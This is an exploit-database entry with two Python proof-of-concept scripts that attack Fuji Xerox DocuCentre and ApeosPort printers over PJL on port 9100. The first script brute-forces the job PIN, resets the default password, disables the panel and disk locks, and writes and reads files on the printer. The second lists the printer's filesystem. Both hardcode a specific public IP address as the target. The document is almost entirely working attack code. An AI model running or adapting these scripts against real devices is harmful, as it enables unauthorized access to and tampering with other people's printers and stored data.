# Exploit Title: FUJI XEROX DocuCentre-V 3065 Printer - Remote Command Execution # Date: 2018-09-05 # Exploit Author: vr_system # Vendor Homepage: https://www.fujixerox.com.cn/ # Software Link: https://www.fujixerox.com.cn/ # Version: DocuCentre-IV,DocuCentre-VI,DocuCentre-V,ApeosPort-VI,ApeosPort-V # Tested on: DocuCentre-V 3065,ApeosPort-VI C3371,ApeosPort-V C4475,ApeosPort-V C3375,DocuCentre-VI C2271,ApeosPort-V C5576,DocuCentre-IV C2263,DocuCentre-V C2263,ApeosPort-V 5070 # CVE : N/A # POC:Ability to write files to the printer #!/usr/bin/env python # -*- coding: UTF-8 -*- import socket import time PJL_START = "\033%-12345X@PJL " PJL_FINISH = "\033%-12345X\r\n" def Buildsocket(ip,port=9100): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) sock.settimeout(5) try: sock.connect((ip, port)) except: print "[!*]-ip-%s-can't connect--" % ip return 'error' for i in range(500): print"bypass pin:{0}".format(i) PJL_INFO_ID = """JOB PASSWORD={0}\r\n""".format(i) DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH sock.send(DEVICEID) PJL_INFO_ID = """DEFAULT PASSWORD=0\r\n""" DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH sock.send(DEVICEID) PJL_INFO_ID = """DEFAULT CPLOCK=OFF\r\n""" DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH sock.send(DEVICEID) PJL_INFO_ID = """DEFAULT DISKLOCK=OFF\r\n""" DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH sock.send(DEVICEID) PJL_INFO_ID = """FSDOWNLOAD FORMAT:BINARY SIZE=4 NAME="0:/test4"\r\n""" DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH sock.send(DEVICEID) try: device = sock.recv(1024) except:pass PJL_INFO_ID = """FSUPLOAD NAME="0:/test4" OFFSET=0 SIZE=4\r\n""" DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH sock.send(DEVICEID) try: device = sock.recv(1024) except:pass finally: sock.close() print "OK" if __name__ == '__main__': ip = "118.42.125.192" Buildsocket(ip, port=9100) # POC:Ability to view files in the printer ##!/usr/bin/env python # -*- coding: UTF-8 -*- import socket PJL_START = "\033%-12345X@PJL " PJL_FINISH = "\033%-12345X\r\n" def Buildsocket(ip, port=9100): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0) sock.settimeout(5) try: sock.connect((ip, port)) except: print "[!*]-ip-%s-can't connect--" % ip return 'error' PJL_INFO_ID = """FSDIRLIST NAME="0:/" ENTRY=1 COUNT=65535""" DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH sock.send(DEVICEID) try: device = sock.recv(1024) except:pass PJL_INFO_ID = """FSDIRLIST NAME="0:/" ENTRY=1""" DEVICEID = PJL_START + PJL_INFO_ID + PJL_FINISH sock.send(DEVICEID) # try: device = sock.recv(1024) except: return 'No' print "[!*]-ip-%s-is-ok\r\ndeviceidis-%s" % (str(ip), device) sock.close() return 'OK' if __name__ == '__main__': Buildsocket("118.42.125.192", port=9100)